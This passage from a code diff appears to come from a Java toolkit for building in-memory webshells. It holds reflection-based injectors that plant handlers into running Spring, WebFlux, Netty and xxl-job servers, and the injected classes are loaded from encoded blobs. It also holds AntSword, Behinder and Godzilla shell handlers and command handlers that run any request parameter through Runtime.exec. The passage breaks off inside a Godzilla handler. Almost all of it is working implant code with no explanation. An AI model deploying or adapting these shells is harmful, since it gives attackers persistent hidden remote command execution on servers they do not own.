ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
}
}
return context;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object interceptor) throws Exception {
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
for (Object adaptedInterceptor : adaptedInterceptors) {
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
System.out.println("interceptor already injected");
return;
}
}
adaptedInterceptors.add(interceptor);
System.out.println("interceptor injected successfully");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
}
@@ -0,0 +1,167 @@
package com.reajason.javaweb.memshell.injector.xxljob;
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.HttpObjectAggregator;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
static {
new XxlJobNettyHandlerInjector();
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public XxlJobNettyHandlerInjector() {
try {
handlerClass = getShellClass();
inject();
} catch (Exception e) {
e.printStackTrace();
}
}
private Class<?> handlerClass;
@Override
protected void initChannel(SocketChannel channel) throws Exception {
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
.addLast(channelHandler)
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
0,
200,
60L,
TimeUnit.SECONDS,
new LinkedBlockingQueue<>(2000),
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
(r, executor) -> {
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
})));
}
private Class<?> getShellClass() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
return classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
}
public void inject() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
if (target.getClass().getName().endsWith("NioEventLoop")) {
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
setFieldValue(embedHttpServerHandler, "childHandler", this);
System.out.println("xxl-job NettyHandler inject successful");
break;
}
}
} catch (Exception ignored) {
}
}
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
@@ -0,0 +1,62 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordControllerHandler extends ClassLoader implements Controller {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public AntSwordControllerHandler(ClassLoader c) {
super(c);
}
public AntSwordControllerHandler() {
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -0,0 +1,80 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public AntSwordInterceptor(ClassLoader c) {
super(c);
}
public AntSwordInterceptor() {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} catch (Exception e) {
e.printStackTrace();
}
return false;
} else {
return true;
}
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
}
@@ -0,0 +1,106 @@
package com.reajason.javaweb.memshell.shelltool.behinder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class BehinderControllerHandler extends ClassLoader implements Controller {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderControllerHandler(ClassLoader c) {
super(c);
}
public BehinderControllerHandler() {
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -0,0 +1,124 @@
package com.reajason.javaweb.memshell.shelltool.behinder;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderInterceptor(ClassLoader c) {
super(c);
}
public BehinderInterceptor() {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} catch (Exception e) {
e.printStackTrace();
}
return false;
} else {
return true;
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class CommandControllerHandler implements Controller {
public static String paramName;
public CommandControllerHandler() {
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
@@ -0,0 +1,47 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Optional;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
public static String paramName;
@Override
public Mono<ServerResponse> handle(ServerRequest request) {
Optional<String> cmdOptional = request.queryParam(paramName);
if (!cmdOptional.isPresent()) {
return Mono.empty();
}
System.out.println("hanlder function cmd " + cmdOptional.get());
try {
StringBuilder result = new StringBuilder();
try {
String cmd = cmdOptional.get();
Process exec = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
} catch (Exception ex) {
ex.printStackTrace();
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
}
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange;
import java.io.BufferedReader;
import java.io.InputStreamReader;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class CommandHandlerMethod {
public static String paramName;
public CommandHandlerMethod() {
}
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
try {
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
StringBuilder result = new StringBuilder();
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
return ResponseEntity.ok(result.toString());
} catch (Exception ex) {
return ResponseEntity.ok(ex.getMessage());
}
}
}
@@ -0,0 +1,57 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class CommandInterceptor implements AsyncHandlerInterceptor {
public static String paramName;
public CommandInterceptor() {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return false;
}
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
}
@@ -0,0 +1,78 @@
package com.reajason.javaweb.memshell.shelltool.command;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelDuplexHandler;
import io.netty.channel.ChannelFutureListener;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.http.*;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URI;
import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
*/
@ChannelHandler.Sharable
public class CommandNettyHandler extends ChannelDuplexHandler {
public static String paramName;
@Override
@SuppressWarnings("all")
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof HttpRequest) {
HttpRequest request = (HttpRequest) msg;
HttpHeaders headers = request.headers();
String uri = request.uri();
String cmd = getParameter(uri, paramName);
if (cmd == null) {
ctx.fireChannelRead(msg);
return;
}
StringBuilder result = new StringBuilder();
try {
Process exec = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} catch (Exception ignored) {
}
send(ctx, result.toString());
} else {
ctx.fireChannelRead(msg);
}
}
public String getParameter(String requestUrl, String paramName) throws Exception {
URI uri = new URI(requestUrl);
String query = uri.getQuery();
if (query == null) {
return null;
}
String[] kvs = query.split("&");
for (String kv : kvs) {
String k = null;
String[] pair = kv.split("=", 2);
if (pair.length > 0) {
k = pair[0];
}
if (pair.length > 1 && k != null && k.equals(paramName)) {
return pair[1];
}
}
return null;
}
private void send(ChannelHandlerContext ctx, String context) throws Exception {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class CommandWebFilter extends ClassLoader implements WebFilter {
public static String paramName;
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
if (cmd == null) {
return chain.filter(exchange);
}
return exchange.getResponse().writeWith(getResult(cmd));
}
private Mono<DataBuffer> getResult(String cmd) {
StringBuilder result = new StringBuilder();
try {
Process exec = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
}
}
@@ -0,0 +1,112 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class GodzillaControllerHandler extends ClassLoader implements Controller {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaControllerHandler() {
}
public GodzillaControllerHandler(ClassLoader parent) {
super(parent);
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaControllerHandler(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
}
return null;
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -0,0 +1,115 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public Class<?> payload;
public GodzillaHandlerFunction() {
}
protected GodzillaHandlerFunction(ClassLoader parent) {
super(parent);
}
@Override
public Mono<ServerResponse> handle(ServerRequest request) {
String value = request.headers().firstHeader(headerName);
if (value == null || !value.contains(headerValue)) {
return Mono.empty();
}
try {
Object bufferStream = request.formData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
